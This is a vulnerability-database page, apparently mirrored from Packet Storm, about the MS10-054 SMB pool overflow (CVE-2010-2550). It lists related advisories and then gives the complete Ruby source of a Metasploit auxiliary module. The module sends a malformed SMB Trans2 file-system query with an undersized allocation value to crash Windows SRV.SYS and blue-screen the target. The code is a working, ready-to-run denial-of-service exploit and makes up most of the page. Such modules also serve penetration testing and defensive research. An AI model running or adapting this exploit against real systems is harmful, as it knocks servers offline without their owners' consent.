Lucene search
K

Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool Overflow Denial of Service

🗓️ 31 Aug 2024 00:00:00Reported by laurent gaffie, jduck, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 163 Views

Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool Overflow Do

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2010-2550
10 Aug 201000:00
circl
Check Point Advisories
Microsoft SMB Server Pool Overflow Remote Code Execution (MS10-054; CVE-2010-2550)
10 Aug 201000:00
checkpoint_advisories
CVE
CVE-2010-2550
11 Aug 201018:00
cve
Cvelist
CVE-2010-2550
11 Aug 201018:00
cvelist
Metasploit
Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool Overflow DoS
11 Aug 201019:54
metasploit
Nmap
smb-double-pulsar-backdoor NSE Script
18 Apr 201718:09
nmap
Nmap
smb-vuln-ms10-054 NSE Script
23 Jul 201209:52
nmap
NVD
CVE-2010-2550
11 Aug 201018:47
nvd
OpenVAS
Microsoft Windows SMB Code Execution and DoS Vulnerabilities (982214)
11 Aug 201000:00
openvas
OpenVAS
Microsoft SMB Server Trans2 Request RCE Vulnerability
29 Feb 201200:00
openvas
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::SMB::Client  
include Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool Overflow DoS',  
'Description' => %q{  
This module exploits a denial of service flaw in the Microsoft  
Windows SMB service on versions of Windows prior to the August 2010 Patch  
Tuesday. To trigger this bug, you must be able to access a share with  
at least read privileges. That generally means you will need authentication.  
However, if a system has a guest accessible share, you can trigger it  
without any authentication.  
},  
'References' =>  
[  
['CVE', '2010-2550'],  
['OSVDB', '66974'],  
['MSB', 'MS10-054'],  
['URL', 'https://seclists.org/fulldisclosure/2010/Aug/122']  
],  
'Author' => [ 'Laurent Gaffie <laurent.gaffie[at]gmail.com>', 'jduck' ],  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
Opt::RPORT(445),  
OptString.new('SMBSHARE', [ true, "The name of a readable share on the server" ])  
])  
  
deregister_options('SMB::ProtocolVersion')  
end  
  
# Perform a transaction2 request using the specified subcommand, parameters, and data  
def malformed_trans2(subcommand, param = '', body = '')  
  
# values < 0xc (not inclusive) causes a crash  
alloc_sz = rand(0x0c)  
  
setup_count = 1  
setup_data = [subcommand].pack('v')  
  
data = param + body  
  
pkt = CONST::SMB_TRANS2_PKT.make_struct  
simple.client.smb_defaults(pkt['Payload']['SMB'])  
  
base_offset = pkt.to_s.length + (setup_count * 2) - 4  
param_offset = base_offset  
data_offset = param_offset + param.length  
  
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2  
pkt['Payload']['SMB'].v['Flags1'] = 0x0  
pkt['Payload']['SMB'].v['Flags2'] = 0xc801  
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count  
  
pkt['Payload'].v['ParamCountTotal'] = param.length  
pkt['Payload'].v['DataCountTotal'] = body.length  
pkt['Payload'].v['ParamCountMax'] = 0  
  
# this value becomes the allocation size  
pkt['Payload'].v['DataCountMax'] = alloc_sz  
  
pkt['Payload'].v['ParamCount'] = param.length  
pkt['Payload'].v['ParamOffset'] = param_offset + 3  
pkt['Payload'].v['DataCount'] = body.length  
pkt['Payload'].v['DataOffset'] = data_offset + 3  
pkt['Payload'].v['SetupCount'] = setup_count  
pkt['Payload'].v['SetupData'] = setup_data  
  
pkt['Payload'].v['Payload'] = "\x00\x44\x20" + data  
  
exploit = pkt.to_s  
exploit[data_offset,2] = [5].pack('v')  
  
#print_status("\n" + Rex::Text.to_hex_dump(exploit))  
  
simple.client.smb_send(exploit)  
  
# no waiting for recv :)  
end  
  
  
def run  
  
connect(versions: [1])  
  
simple.login(  
datastore['SMBName'],  
datastore['SMBUser'],  
datastore['SMBPass'],  
datastore['SMBDomain']  
)  
simple.connect("\\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}")  
  
print_status("Sending malformed trans2 request..")  
params = [  
"\x05\x01", # Query FS Attribute Info (0x0105)  
"\x02\x01" # Query FS Volume Info (0x0102)  
]  
idx = rand(params.length)  
malformed_trans2(0x03, params[idx])  
  
print_status("The target should encounter a blue screen error now.")  
select(nil, nil, nil, 0.5)  
  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation